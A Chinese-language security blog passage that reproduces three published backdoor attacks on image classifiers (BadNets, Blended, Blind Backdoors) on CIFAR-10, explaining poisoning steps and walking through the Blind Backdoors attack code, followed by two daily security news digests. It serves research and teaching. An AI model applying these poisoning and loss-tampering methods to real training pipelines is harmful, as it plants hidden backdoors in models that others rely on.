我们这里以CIFAR10数据集为例进行后门攻击的演示。CIFAR-10数据集是一个广泛应用于机器学习和深度学习领域的小型图像分类数据集,由加拿大高级研究所(CIFAR)提供。该数据集包含60000张32x32大小的彩色图像,分为10个类别:飞机、汽车、鸟、猫、鹿、狗、青蛙、马、船和卡车。每个类别有6000张图像,其中50000张用于训练,10000张用于测试。这些图像是用于监督学习训练的,每个样本都配备了相应的标签值,以便于模型能够识别和学习。
正常的数据集如下所示
而在BadNets中,我们以小方块作为触发器,原数据集加上触发器后部分如下所示
我们直接进行后门的植入,即训练过程
我们可以主要关注训练期间的acc和asr的变化。acc表示模型的准确率,asr表示后门攻击的成功率,这两个指标都是越高越好。
也可以参考训练期间的损失变化情况,可以看到在逐步降低
可以查看acc的变化
可以看到在稳步升高。
哪怕就以手动终止时的第29个epoch为例
可以看到模型在执行正常任务时的准确率达到了0.90,而后门攻击的成功率达到了0.94
这就复现了BadNets的攻击方法。
Blended
理论
攻击者的目标是在深度学习模型的训练过程中,通过在训练数据中注入特定的投毒样本,植入一个后门。这样,当模型在实际应用中遇到这些特定的投毒样本或者与这些样本具有特定模式的输入时,会被误导并按照攻击者预定的方式进行分类。
与BadNets不同的地方在于,攻击者定义一个模式作为键,任何具有这种模式的输入实例都成为后门实例。例如,可以是一副眼镜、一个卡通图像或随机噪声模式。
实施步骤也是类似的
生成投毒样本:攻击者根据选择的策略生成投毒样本,这些样本在训练集中被错误标记为攻击者的目标标签。
训练数据注入:将生成的投毒样本注入到模型的训练集中。
模型训练:使用被投毒的训练集对深度学习模型进行训练,导致模型学习到错误的模式关联。
后门触发:在模型部署后,攻击者可以通过展示与投毒样本相似或具有相同模式键的输入实例来触发后门,实现攻击目的。
不过本文提出了混合注入策略(Blended Injection Strategy):将模式键与正常样本混合,生成难以被人类察觉的投毒样本。
论文中使用这种策略得到的中毒样本如下所示
混合注入策略(Blended Injection Strategy)是本文中提出的一种数据投毒攻击方法,旨在通过将攻击者选定的模式键(key pattern)与正常的输入样本混合,生成新的投毒样本。这些投毒样本在视觉上与正常样本相似,但包含了能够触发后门的特定模式。
选择模式键(Key Pattern Selection)
攻击者首先选定一个模式键,这可以是任意图像,例如卡通图像(如Hello Kitty)或随机生成的噪声模式。
定义混合函数(Blending Function Definition)
定义一个混合函数
该函数用于将模式键 (k) 与正常样本 (x) 混合。函数参数α表示混合比例,
$
\alpha \in [0, 1]
$
混合函数可以表示为:)
其中,(k) 和 (x) 是向量表示,α 用于控制模式键在混合样本中的可见度。
生成投毒样本(Poisoning Instance Generation)
攻击者随机选择或生成正常样本 (x),然后使用混合函数将模式键 (k) 与正常样本 (x) 混合,生成投毒样本 (x')。
在生成投毒样本时,攻击者选择一个较小的α值(例如
$
\alpha_{\text{train}}
$
使得混合后的模式键不易被人类察觉。
创建后门实例(Backdoor Instance Creation)
在模型训练完成后,攻击者可以创建后门实例,通过使用较大的α值(例如
$
\alpha_{\text{test}}
$
使得模式键在后门实例中更加明显,从而触发后门。
注入训练集(Injecting into Training Set
攻击者将生成的投毒样本注入到模型的训练集中,并为这些样本分配目标标签。这些样本在训练过程中误导模型,使其学习到模式键与目标标签之间的错误关联。
模型训练与后门植入(Model Training and Backdoor Embedding)
使用被投毒的训练集对深度学习模型进行训练。由于投毒样本的存在,模型在训练过程中学习到了与模式键相关的错误特征,从而植入了后门。
攻击触发(Attack Triggering)
在模型部署后,攻击者可以通过展示含有模式键的输入实例来触发后门,即使这些实例在视觉上与训练时的投毒样本不同,模型也会因为学习到的错误关联而将其分类为目标标签。
通过实验,论文验证了混合注入策略的有效性。即使只注入少量的投毒样本(例如,115个),也能在保持模型在正常测试数据上准确性的同时,实现高攻击成功率。
混合注入策略的关键在于通过调整混合比例 (\alpha),平衡投毒样本的隐蔽性和后门触发的有效性。这种策略利用了深度学习模型在训练过程中对数据的泛化能力,即使在训练时投毒样本的模式键不太明显,模型也能在测试时识别出具有相同模式键的后门实例。
复现
我们以Hello Kitty作为要blend的触发器
来查看植入触发器后得到的部分训练数据
训练代码与BadNets是类似的,只是数据集换了一下而已
执行后门注入的过程
具体的攻击配置信息如下
如下是训练期间的截图
可以看到,能成功实现后门的植入与触发。
Blind
现在我们再来看另外一种后门攻击方法。其主要探讨了一种新的在机器学习模型中注入后门的方法。这种方在训练数据可用之前和训练开始之前破坏ML训练代码。
所提出的攻击方案是一种针对机器学习模型的后门攻击,称为"Blind Backdoors",意即盲目的后门攻击。这种攻击是在训练数据可用之前,甚至在训练开始之前,通过破坏模型训练代码中的损失值计算来实现的
它的威胁模型与之前提到的后门攻击是不同的,攻击者能够修改机器学习代码库中的损失计算部分,但无法访问训练数据、模型权重或训练过程的输出。
攻击者注入恶意代码,该代码在模型训练期间动态生成有毒的训练输入(即后门输入)。
在攻击中会使用多目标优化(特别是多梯度下降算法MGDA结合Frank-Wolfe优化器)来平衡主任务和后门任务的损失函数,确保模型在两个任务上都能达到高精度。
另外,攻击者定义一个后门输入合成器(input synthesizer µ),用于生成包含后门特征的输入数据x*。
这就要求我们定义一个后门标签合成器(label synthesizer ν),它根据输入x及其正确的标签y,确定当输入包含后门特征时模型应该如何错误分类。
其中的关键在于损失值的计算与优化
在常规训练过程中,对于每个输入(x, y),计算主任务损失ℓm = L(θ(x), y)。
攻击者代码同时生成后门输入x和标签y,并计算后门任务损失ℓm* = L(θ(x), y)。
结合主任务损失和后门任务损失,以及可能的防御规避损失ℓev,形成盲损失ℓblind = α0ℓm + α1ℓm* [+α2ℓev],并通过MGDA优化α系数。
在模型训练过程中,使用修改后的损失值ℓblind进行反向传播和模型权重更新,从而在不降低主任务性能的前提下,注入后门功能。攻击者还可以在损失计算中加入额外的项,以便在不触发现有防御机制的情况下,成功注入后门。
如下是修改代码的示意图
如下是修改后的恶意代码示例
复现
合成类,Synthesizer 类的主要作用是生成带有后门攻击的数据批次。通过继承该类并实现 synthesize_inputs 和 synthesize_labels 方法,可以定制具体的后门攻击策略。make_backdoor_batch 方法负责根据配置生成带攻击的数据批次,而 apply_backdoor 方法则实际执行攻击操作。
这段代码定义了一个 Synthesizer 类,该类用于生成带有后门攻击的数据批次
1. 类定义和初始化:
Synthesizer 类:
包含两个属性:params 和 task,其中 params 是一个 Params 对象,task 是一个 Task 对象。
__init__ 方法:
构造函数接收一个 Task 对象作为参数,初始化 task 属性并将 task.params 赋值给 params 属性。这意味着 Synthesizer 的配置依赖于提供的任务对象。
2. 生成后门批次:
make_backdoor_batch 方法:
此方法用于生成带有后门攻击的数据批次。
参数:
batch: 输入的原始数据批次。
test: 一个布尔值,指示是否是测试模式。
attack: 一个布尔值,指示是否需要应用攻击。
逻辑:
如果 attack 为 False,或者当 params.loss_tasks 仅包含 'normal' 且不是测试模式,则直接返回原始批次。
如果是测试模式,则 attack_portion 等于批次大小(batch_size),即所有数据都被攻击。
否则,计算需要攻击的数据量,即根据 params.poisoning_proportion 计算批次大小的一部分。
克隆原始批次,调用 apply_backdoor 方法对克隆批次应用后门攻击。
返回修改后的批次。
3. 应用后门攻击:
apply_backdoor 方法:
用于修改批次的一部分以表示批次污染。
参数:
batch: 输入的批次数据。
attack_portion: 需要被攻击的数据量。
逻辑:
调用 synthesize_inputs 方法来合成输入数据。
调用 synthesize_labels 方法来合成标签。
这个方法没有返回值。
4. 合成输入和标签:
synthesize_inputs 方法:
这是一个抽象方法,用于合成批次中的输入数据。
该方法需要在子类中实现,以定义如何具体地修改输入数据。
synthesize_labels 方法:
这是一个抽象方法,用于合成批次中的标签。
该方法需要在子类中实现,以定义如何具体地修改标签。
关键函数
这段代码包含几个函数,用于计算损失函数、记录时间、处理梯度以及计算后门损失
1. 记录时间的函数:
record_time 函数:
参数:
params: 配置参数对象,包含记录时间的设置。
t: 记录的时间戳(通常是 time.perf_counter() 返回的值)。
name: 记录时间的标签名称。
功能:
如果 t 和 name 都被提供,并且 params.save_timing 等于 name 或者 params.save_timing 为 True,则记录当前操作的耗时。
使用 torch.cuda.synchronize() 确保 CUDA 操作完成,然后计算自 t 以来的时间差,单位为毫秒,并将其附加到 params.timing_data[name] 列表中。
2. 计算正常损失的函数:
compute_normal_loss 函数:
参数:
params: 配置参数对象。
model: 用于计算损失的模型。
criterion: 损失函数。
inputs: 输入数据。
labels: 标签数据。
grads: 布尔值,是否需要计算梯度。
功能:
记录前向传播的时间,并计算模型的输出。
计算输出和标签之间的损失。
如果 params.dp 为 False,对损失进行平均。
如果 grads 为 True,记录反向传播的时间,并计算梯度。
返回值:
返回计算得到的损失和(如果需要)计算得到的梯度。
3. 获取梯度的函数:
get_grads 函数:
参数:
params: 配置参数对象。
model: 用于计算梯度的模型。
loss: 损失值。
功能:
记录计算梯度的时间,并计算模型参数的梯度。
返回值:
返回计算得到的梯度。
4. 张量非线性变换的函数:
th 函数:
参数:
vector: 输入张量。
功能:
对输入张量应用双曲正切函数 (torch.tanh) 并将结果归一化到 [0, 1] 范围内。
返回值:
返回归一化后的张量。
5. 计算范数损失的函数:
norm_loss 函数:
参数:
params: 配置参数对象。
model: 包含 mask 属性的模型。
grads: 布尔值,是否需要计算梯度。
功能:
根据 params.nc_p_norm 计算 model.mask 的范数:
如果 params.nc_p_norm 为 1,计算 mask 的 L1 范数。
如果 params.nc_p_norm 为 2,计算 mask 的 L2 范数。
如果 grads 为 True,计算梯度并将模型的梯度清零。
返回值:
返回计算得到的范数和(如果需要)计算得到的梯度。
6. 计算后门损失的函数:
compute_backdoor_loss 函数:
参数:
params: 配置参数对象。
model: 用于计算损失的模型。
criterion: 损失函数。
inputs_back: 带有后门攻击的输入数据。
labels_back: 带有后门攻击的标签数据。
grads: 布尔值,是否需要计算梯度。
功能:
记录前向传播的时间,并计算模型在带有后门攻击的输入数据上的输出。
计算输出和带有后门攻击的标签之间的损失。
如果 params.task 为 'Pipa',对特定标签的损失进行调整。
如果 params.dp 为 False,对损失进行平均。
如果 grads 为 True,计算梯度。
返回值:
返回计算得到的损失和(如果需要)计算得到的梯度。
总的来说,这些函数用于在训练过程中处理损失计算、记录时间、计算梯度等操作,支持对正常数据和后门攻击数据的处理。
这个函数 compute_all_losses_and_grads 用于计算一组损失函数和梯度,涉及到正常损失、后门损失、掩膜范数损失,以及某种特定的损失计算(如 Neural Cleanse 部分)
函数参数:
loss_tasks: 一个包含不同损失任务名称的列表,例如 'normal', 'backdoor', 'mask_norm', 'neural_cleanse_part1' 等。
attack: 包含配置参数和模型的对象,提供必要的参数来计算损失。
model: 要计算损失的模型。
criterion: 损失函数,用于计算模型输出和目标之间的损失。
batch: 正常训练批次的对象,通常包含输入数据和标签。
batch_back: 带有后门攻击的批次对象,通常包含后门数据和标签。
compute_grad: 布尔值,指示是否需要计算梯度。
函数功能:
初始化字典:
grads: 用于存储每种任务的梯度。
loss_values: 用于存储每种任务的损失值。
计算损失和梯度:
遍历 loss_tasks 中的每个任务,根据任务类型调用相应的损失计算函数。
'normal':
调用 compute_normal_loss 函数,计算正常的训练损失和梯度。
使用 batch.inputs 和 batch.labels。
'backdoor':
调用 compute_backdoor_loss 函数,计算带有后门攻击的损失和梯度。
使用 batch_back.inputs 和 batch_back.labels。
'mask_norm':
调用 norm_loss 函数,计算掩膜的范数和梯度(如果需要)。
使用 attack.nc_model 来计算掩膜的范数。
'neural_cleanse_part1':
调用 compute_normal_loss 函数,计算 Neural Cleanse 部分 1 的损失和梯度。
使用 batch.inputs 和 batch_back.labels。
返回结果:
返回两个字典:loss_values 和 grads,分别包含每种任务的损失值和梯度。
compute_all_losses_and_grads 函数的作用是根据任务列表计算各种损失函数和梯度。根据提供的任务类型,它会选择合适的损失计算方法,并将计算结果存储在字典中。最终返回这些计算结果,以供进一步处理或分析。
攻击类
Attack 类主要用于管理攻击过程中的损失计算,包括:
使用正常数据和带有后门数据的批次计算损失。
根据不同的损失平衡策略(如 MGDA 或固定缩放因子)来调整损失的权重。
记录和更新损失历史,以便进一步分析和优化。
支持不同的损失计算任务,并在计算损失时考虑到这些任务的权重。
这个 Attack 类用于实现和管理一种攻击策略,其中包括计算损失值、调整损失的权重、以及跟踪损失历史记录。
属性:
params: 存储参数配置的对象。包含了关于损失计算、损失平衡等的配置。
synthesizer: Synthesizer 实例,用于生成带有后门的批次数据。
nc_model: 用于 Neural Cleanse 的模型。
nc_optim: 用于优化 Neural Cleanse 模型的优化器。
loss_hist: 存储历史损失值的列表。
方法:
__init__ 方法:
参数:
params: 配置参数对象。
synthesizer: 用于生成带有后门数据的 Synthesizer 实例。
功能:
初始化 params 和 synthesizer 属性。
compute_blind_loss 方法:
参数:
model: 当前训练的模型。
criterion: 损失函数。
batch: 正常批次数据。
attack: 布尔值,指示是否进行攻击。
功能:
计算 batch 数据的剪切版本。
根据是否进行攻击设置 loss_tasks 列表。
使用 synthesizer 生成带有后门的批次数据 batch_back。
根据历史损失和阈值调整 loss_tasks。
根据 loss_balance 配置选择计算损失的方法:
MGDA: 使用 MGDA (Multi-Gradient Descent Algorithm) 平衡损失,计算梯度和损失,获取缩放因子。
fixed: 使用固定的缩放因子进行损失计算。
如果只有一个损失任务,设置默认的缩放因子为 1.0。
更新 loss_hist 列表,记录正常损失的最新值。
调用 scale_losses 方法计算加权损失。
返回加权后的损失值。
scale_losses 方法:
参数:
loss_tasks: 损失任务列表。
loss_values: 包含不同任务损失值的字典。
scale: 各任务损失的缩放因子。
功能:
计算加权损失值 blind_loss。
将每个任务的损失值和缩放因子存储在 params.running_losses 和 params.running_scales 中。
更新总损失记录 params.running_losses['total']。
返回加权后的损失值 blind_loss。
MGDA求解器
MGDASolver` 类用于在多目标优化中平衡不同任务的梯度和损失值,主要包括:
计算最小范数解的函数 (_min_norm_element_from2, _min_norm_2d)。
投影到单纯形上的方法 (_projection2simplex)。
梯度下降及更新点的方法 (_next_point)。
寻找最小范数元素的优化算法 (find_min_norm_element, find_min_norm_element_FW)。
计算各任务缩放因子的函数 (get_scales)。
这些方法帮助在多任务学习中优化和调整损失,使得模型能够在不同任务之间取得平衡。
MGDASolver 类实现了多目标优化中使用的多梯度下降算法 (MGDA),其主要用于解决在多个目标之间平衡梯度的优化问题
类属性:
MAX_ITER: 最大迭代次数,设置为 250。
STOP_CRIT: 停止准则,当变化小于该值时停止迭代,设置为 1e-5。
方法:
_min_norm_element_from2 方法:
功能:
计算最小范数元素,即 (\min{c} |cx_1 + (1-c)x_2|2^2)。
根据 (x_1) 和 (x_2) 的内积计算最小范数解。
参数:
v1v1: (\langle x_1, x_1 \rangle)。
v1v2: (\langle x_1, x_2 \rangle)。
v2v2: (\langle x_2, x_2 \rangle)。
返回值:
gamma: 最优的比例系数。
cost: 对应的最小范数。
_min_norm_2d 方法:
功能:
在二维情况下找到最小范数解的组合。
参数:
vecs: 向量列表。
dps: 用于存储内积结果的字典。
返回值:
sol: 最小范数的解及其对应的最小值。
dps: 内积结果字典。
_projection2simplex 方法:
功能:
解决投影到单纯形上的优化问题,确保解满足 (\sum z = 1) 和 (0 \leq z_i \leq 1)。
参数:
y: 输入向量。
返回值:
投影后的向量 z。
_next_point 方法:
功能:
在当前点 cur_val 上进行梯度下降,并将结果投影到单纯形上。
参数:
cur_val: 当前点的值。
grad: 当前点的梯度。
n: 向量的维度。
返回值:
下一点 next_point。
find_min_norm_element 方法:
功能:
寻找在给定向量列表的凸包中具有最小范数的元素。
参数:
vecs: 向量列表。
返回值:
sol_vec: 最小范数的解。
nd: 最小范数值。
find_min_norm_element_FW 方法:
功能:
使用 Frank-Wolfe 算法寻找在给定向量列表的凸包中具有最小范数的元素。
参数:
vecs: 向量列表。
返回值:
sol_vec: 最小范数的解。
nd: 最小范数值。
get_scales 方法:
功能:
计算每个任务的缩放因子,以最小化多目标优化问题中的范数。
参数:
grads: 各任务的梯度。
losses: 各任务的损失值。
normalization_type: 梯度归一化类型。
tasks: 任务列表。
返回值:
scale: 每个任务的缩放因子字典。
PatternSynthesizer 类的设计目的是将一个预定义的或动态生成的后门模式嵌入图像中。它处理模式的创建、放置和与图像的结合,并根据需要调整标签以适应后门攻击。
这段代码定义了一个名为 PatternSynthesizer 的类,它是 Synthesizer 的一个子类。这个类的主要功能是生成特定的模式(即后门模式)并将其嵌入到图像中。以下是对每个组件的详细解释:
属性和初始化:
pattern_tensor:这个属性保存了一个预定义的二维张量模式。它是一个矩阵,其中包含一些正值和负值。这个模式用于作为后门模式嵌入图像中。
x_top 和 y_top:这些属性表示后门模式在图像中放置时的左上角坐标。x_top 是水平坐标,y_top 是垂直坐标。
mask_value:一个值,用于表示在模式中哪些区域不会被应用到图像上。
resize_scale:这个元组定义了一个范围,用于在模式的位置动态变化时对模式进行缩放。
mask:一个张量,用于将后门模式与原始图像结合。它标记了图像中哪些部分受后门模式的影响。
pattern:这个张量保存了最终的后门模式,它是在图像中嵌入模式并应用了掩码后的结果。
初始化 (__init__ 方法):
__init__ 方法调用父类的初始化方法,然后通过调用 self.make_pattern 创建初始的后门模式。
模式创建 (make_pattern 方法):
这个方法首先初始化一个 full_image 张量,其大小由 self.params.input_shape 指定,填充了 mask_value。
然后计算模式的右下角坐标 (x_bot, y_bot),以确保模式不会超出图像边界。如果模式超出边界,则引发 ValueError。
将模式放置在 full_image 中的指定左上角坐标。
创建 mask 张量,用于标记 full_image 中与 mask_value 不同的部分。
将 pattern 张量进行归一化,并移动到适当的设备(例如 GPU)。
合成输入 (synthesize_inputs 方法):
这个方法将生成的模式嵌入到一批输入图像中。它使用 mask 确保只有与后门模式对应的图像部分被修改。
合成标签 (synthesize_labels 方法):
这个方法为批量标签中的后门攻击部分设置特定的标签 (self.params.backdoor_label)。
获取模式 (get_pattern 方法):
如果启用了动态位置调整,这个方法会在定义的 resize_scale 范围内随机调整 pattern_tensor 的大小。它还会有 50% 的概率水平翻转模式。
将调整大小后的模式转换为图像,再转换回张量,并在图像尺寸内随机放置。
再次调用 make_pattern 方法以更新 pattern 和 mask 属性,应用新的位置。
AddMaskPatchTrigger 类用于将指定的触发器图像应用到目标图像上的特定区域,而 gradient_normalizers 函数则用于根据指定的归一化类型对梯度进行归一化处理。这些功能通常用于处理图像数据和优化过程中的梯度调整。
这段代码定义了两个不同的功能:
AddMaskPatchTrigger 类:
这个类用于将一个触发器(trigger_array)应用到图像上,通过一个掩码(mask_array)来控制触发器的应用区域。
构造函数 (__init__ 方法):
trigger_array: 触发器数组,可以是 numpy.ndarray 或 torch.Tensor。
mask_array: 掩码数组,同样可以是 numpy.ndarray 或 torch.Tensor。
将这两个参数存储为实例变量。
调用方法 (__call__ 方法):
这个方法让 AddMaskPatchTrigger 实例可以像函数一样被调用。它调用 add_trigger 方法来将触发器应用到图像上。
添加触发器 (add_trigger 方法):
add_trigger 方法接收一张图像 img,通过使用掩码数组 mask_array 将触发器数组 trigger_array 叠加到图像上。
计算方式是:img * (1 - mask_array) + trigger_array * mask_array。这意味着图像中掩码为1的部分将被触发器覆盖,而掩码为0的部分保持不变。
gradient_normalizers 函数:
这个函数用于根据不同的归一化类型对梯度进行归一化处理。它接收梯度(grads)、损失(losses)和归一化类型(normalization_type)。
参数:
grads: 一个字典,键是变量名,值是对应变量的梯度列表。
losses: 一个字典,键是变量名,值是对应变量的损失值。
normalization_type: 一个字符串,指定归一化类型,可以是 'l2'、'loss'、'loss+'、'none' 或 'eq'。
归一化类型处理:
l2:
对于每个梯度,计算梯度的 L2 范数(即每个梯度的平方和的平方根)。
loss:
对于每个梯度,使用损失的均值进行归一化,归一化值最大为 10.0。
loss+:
归一化值是损失的均值与梯度的 L2 范数的乘积,最大值为 10。
none 或 eq:
归一化值固定为 1.0。
如果提供了无效的归一化类型,抛出 ValueError 异常。
返回值:
返回一个字典 gn,包含每个变量的归一化值。
blendedImageAttack_on_batch 类用于将目标图像与输入图像按比例混合,从而生成具有目标图像特征的混合图像。
batchwise_label_transform 类用于批量标签的转换,通过指定的变换函数将原始标签转换为新的标签,并将结果移动到指定设备。
这两个类的功能可以在图像处理和模型训练中用于特定的攻击策略和标签处理任务。
1. blendedImageAttack_on_batch 类
这个类用于对图像批次进行混合攻击。它将目标图像和当前图像按一定比例混合,生成具有目标图像特征的图像。
构造函数 (__init__ 方法):
target_image: 目标图像,它将用于与输入图像进行混合。这个图像被移动到指定的设备(如 GPU)。
blended_rate: 混合比例,决定了目标图像在最终混合图像中的占比。
device: 设备(如 GPU),用于存储目标图像。
调用方法 (__call__ 方法):
使得 blendedImageAttack_on_batch 实例可以像函数一样被调用。它调用 add_trigger 方法来进行图像混合。
添加触发器 (add_trigger 方法):
img: 输入图像。
计算混合图像的公式是 (1 - self.blended_rate) * img + (self.blended_rate) * self.target_image[None, ...]。这里使用了广播(broadcasting),将目标图像的维度与输入图像的维度对齐,然后将目标图像和输入图像按比例混合。
2. batchwise_label_transform 类
这个类用于批量标签的转换,将原始标签通过某种变换函数转换为新的标签。
构造函数 (__init__ 方法):
label_transform: 一个函数,用于将标签转换为目标标签。
device: 设备(如 GPU),用于存储转换后的标签。
调用方法 (__call__ 方法):
batch_labels: 批量标签,是一个张量(torch.Tensor)。
使用列表推导将每个标签通过 self.label_transform 函数进行转换,并将结果转换为张量,最终将张量移动到指定的设备上。
此时的中毒样本如下
执行后门注入
如下是攻击配置信息
训练过程部分截图如下
查看acc变化情况
可以看到也是稳步上升的
总得来说,这种后门攻击方法,虽然后门攻击成功率较高,但是正常任务的准确率会受到一定影响,比如在第24个epoch时,正常任务的准确率才0.79。
网络安全日报 2024年09月18日
1、研究人员发现名为Hadooken的新型Linux恶意软件
https://www.aquasec.com/blog/hadooken-malware-targets-weblogic-applications/ 攻击者正在使用一种名为“Hadooken”的新型Linux恶意软件针对Oracle WebLogic服务器进行攻击,该恶意软件会执行加密货币挖矿程序和分布式拒绝服务(DDoS)攻击工具。攻击者还可能利用获得的访问权限在Windows系统上执行勒索软件。Oracle WebLogic Server是一个企业级Java EE应用服务器,用于构建、部署和管理大规模分布式应用程序。该服务器常用于银行和金融服务、电子商务、电信、政府组织和公共服务。由
2、Citrix修复Workspace应用程序中的安全漏洞
https://cybersecuritynews.com/citrix-workspace-privilege-escalation/ Citrix发布了安全更新,以修复影响Windows版Citrix Workspace应用程序的两个安全漏洞,分别是CVE-2024-7889和CVE-2024-7890。这些漏洞可能允许本地攻击者在受感染的机器上获得SYSTEM权限。CVE-2024-7889(CVSS v4.0评分7.0)是一个本地权限提升漏洞,允许低权限用户通过不正确地控制资源的生命周期(CWE-664)来获得SYSTEM权限。与该漏洞类似,CVE-2024-7890(CVSS v4
3、川崎欧洲公司遭受RansomHub勒索组织攻击
https://www.bleepingcomputer.com/news/security/ransomhub-claims-kawasaki-cyberattack-threatens-to-leak-stolen-data/ 川崎欧洲公司称,他们遭受了网络攻击,该网络攻击导致服务中断,而RansomHub勒索组织威胁要泄露窃取的数据。该公司表示,这次攻击针对其欧洲总部,目前正在分析和清理系统中可能残留的威胁。川崎在公告中称,在九月初,川崎欧洲公司(KME)遭受了一次网络攻击,尽管攻击未成功,但导致公司的服务器被暂时隔离,直到当天晚些时候启动了恢复计划。川崎表示,攻击发生后,其IT人员与
4、西雅图港证实8月遭受Rhysida勒索组织攻击
https://www.bleepingcomputer.com/news/security/port-of-seattle-says-rhysida-ransomware-was-behind-august-attack/ 西雅图港(Port of Seattle)是负责管理西雅图港口和机场的美国政府机构,该机构确认Rhysida勒索组织是对其网络系统进行攻击的幕后黑手。该机构在8月24日透露,网络攻击迫使其隔离了一些关键系统以控制影响。由此导致的IT中断扰乱了预订登记系统,并延误了西雅图-塔科马国际机场的航班。西雅图港的调查确定,未经授权的攻击者能够访问部分计算机系统,并能够对一些数据进
5、多家法国零售商遭受网络攻击并泄露客户数据
https://therecord.media/france-retailers-hacked-confirm-cyberattack 多家知名法国零售商称遭受网络攻击,导致客户数据泄露,受害者包括Boulanger和Cultura。多家法国媒体报道称,实际受害零售商可能更多。Boulanger在一份声明中表示,攻击者访问了客户的送货地址,但没有泄露银行数据。该公司表示,事件已得到控制,所有受影响的客户都已被通知。Cultura表示,其一个外部IT服务提供商的数据库遭到恶意入侵,攻击者窃取了其150万客户的数据,包括姓名、电话号码、电子邮件和邮寄地址以及订单内容。Cultura声称密码和银行
6、研究人员披露Lynx勒索组织
https://www.rapid7.com/blog/post/2024/09/12/ransomware-groups-demystified-lynx-ransomware/ Lynx勒索组织于2024年7月被发现,迄今已对多个行业超过20个受害者进行了攻击。Lynx勒索软件会释放一个名为readme.txt的勒索信,引导他们访问一个托管于Tor上的门户网站,并且受害者会被提供一个唯一的ID来登录网站并与该组织进行沟通。此外,Lynx还运营一个公共的博客和泄露页面,公开受害者信息并威胁其支付赎金。研究人员发现Lynx组织使用的勒索软件与INC组织使用的勒索软件有相似之处。报告表明,Ly
7、攻击者利用CVE-2017-0199漏洞传播Remcos远控木马
https://www.trellix.com/blogs/research/unmasking-the-hidden-threat-inside-a-sophisticated-excel-based-attack-delivering-fileless-remcos-rat/ 研究人员近期发现一起攻击活动,攻击始于包含Excel文件的网络钓鱼邮件,该文件利用了CVE-2017-0199漏洞。该文件中的OLE对象中嵌有恶意URL,打开后会下载执行一个恶意的HTA文件。该HTA文件会执行一系列PowerShell命令,最终将Remcos远控木马注入到正常的Windows进程中。该远控木马会在
8、苹果公司发布iOS 18更新修复数十个安全漏洞
https://www.securityweek.com/apple-patches-major-security-flaws-with-ios-18-refresh/ 苹果公司发布iOS 18更新,修复了至少33个安全漏洞。iOS 18修复了核心组件中的漏洞,涉及辅助功能、蓝牙、控制中心和Wi-Fi,其中一些漏洞允许攻击者未经授权访问敏感数据或完全控制设备。苹果公司特别提到辅助功能组件中的几个漏洞,这些漏洞允许具有物理访问权限的攻击者使用Siri访问敏感用户数据、控制附近设备或在未经身份验证的情况下查看最近的照片。苹果公司表示漏洞未被恶意利用。
9、研究人员披露Windows Hyper-V中的零日漏洞
https://securityonline.info/poc-exploit-released-for-windows-hyper-v-zero-day-vulnerability-cve-2024-38080/ 安全研究员发布了关于Windows Hyper-V中零日漏洞的详细分析报告,并附上了一段概念验证(PoC)漏洞利用代码,该漏洞被标识为CVE-2024-38080(CVSS 7.8)。这个漏洞已经被攻击者积极利用,允许攻击者提升至SYSTEM权限,将会对使用微软虚拟化技术的组织构成严重风险。微软已确认该漏洞并在2024年7月发布的安全更新中进行了修复,但未公开其细节信息。CISA
10、VMware修补了在矩阵杯中被利用的远程代码执行漏洞
https://www.securityweek.com/vmware-patches-remote-code-execution-flaw-found-in-chinese-hacking-contest/ 博通旗下的 VMware 周二推出了严重补丁,以修复其 vCenter Server 平台中的两个漏洞,并警告存在远程代码执行攻击的重大风险。其中最严重的一个漏洞被标记为 CVE-2024-38812,记录为 vCenter Server 中分布式计算环境/远程过程调用 (DCERPC) 协议实现中的堆溢出。 第二个漏洞 CVE-2024-38813 被描述为特权升级漏洞,最高 CVS
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年09月14日
1、新型安卓恶意软件TrickMo伪装成Chrome传播
https://www.cleafy.com/cleafy-labs/a-new-trickmo-saga-from-banking-trojan-to-victims-data-leak 研究人员发现一种新型安卓恶意软件TrickMo,其前身是TrickBot。TrickMo使用复杂的反分析技术避免被检测到。这种恶意软件通过伪装成“Google Chrome”进行传播,并利用安卓辅助功能服务来获得权限。TrickMo能够窃取在线银行服务的一次性密码、获取屏幕截图、获取按键记录,并对受感染设备进行远程访问。TrickMo通过Post方式与C2服务器交换数据,将JSON格式的设备信息回传至服务
2、伦敦交通局证实客户数据遭到泄露
https://www.bleepingcomputer.com/news/security/transport-for-london-confirms-customer-data-stolen-in-cyberattack/ 伦敦交通局(TfL)已确定9月1日的网络攻击事件泄露了客户数据,包括姓名、联系方式、电子邮件地址和家庭住址。TfL网站中的最新公告称,尽管该事件对其运营的影响很小,但内部调查发现客户数据遭到泄露。此外,TfL发现攻击者可能访问了一些Oyster卡退款数据以及大约5000名客户的银行账号和分类代码。目前尚未有任何勒索组织声称进行此次攻击。
3、Adobe修复UAF(CVE-2024-41869)高危漏洞
https://www.bleepingcomputer.com/news/security/adobe-fixes-acrobat-reader-zero-day-with-public-poc-exploit/ 安全研究人员披露了Adobe产品中的一个安全漏洞,该漏洞被标识为CVE-2024-41869,是一个use after free漏洞,在打开特制的PDF文档时可能导致远程代码执行,并且该漏洞具有公开的概念验证(PoC)代码。use after free漏洞是指程序尝试访问已被释放的内存位置中的数据,这会导致意外行为,例如程序终止或崩溃。然而,如果攻击者在该内存位置中添加恶意代码,
4、 思科修复影响多个产品的CVE-2024-20381安全漏洞
https://cybersecuritynews.com/cisco-web-management-vulnerability/ 思科披露其多个基于Web管理界面产品中使用的JSON-RPC API功能存在漏洞,涉及Cisco Crosswork Network Services Orchestrator (NSO)、Cisco Optical Site Manager和Cisco RV340双WAN千兆VPN路由器。该漏洞被标识为CVE-2024-20381,可能允许经过身份验证的远程攻击者修改受影响设备的配置并提升权限。该漏洞源于JSON-RPC API上的授权检查不当问题,具有足够权
5、为推送定制化广告,福特新专利拟广泛采集驾驶员数据
https://thecyberexpress.com/ford-patent-driver-data-in-car-ads/ 福特公司新申请的一项技术专利引发了人们对隐私问题的关注 ,该专利以推送定制化车载广告为目的,广泛收集驾驶员数据,包括车内对话。
6、澳大利亚总理希望限制社交媒体用户年龄
https://cybernews.com/news/australia-social-media-age-restriction-children-legislation/ 澳大利亚总理安东尼·阿尔巴尼斯 (Anthony Albanese) 呼吁全国支持一项年龄验证法案,该法案旨在保护儿童免受社交媒体和不当内容的危害。
7、WordPress要求插件开发人员10月前使用 2FA
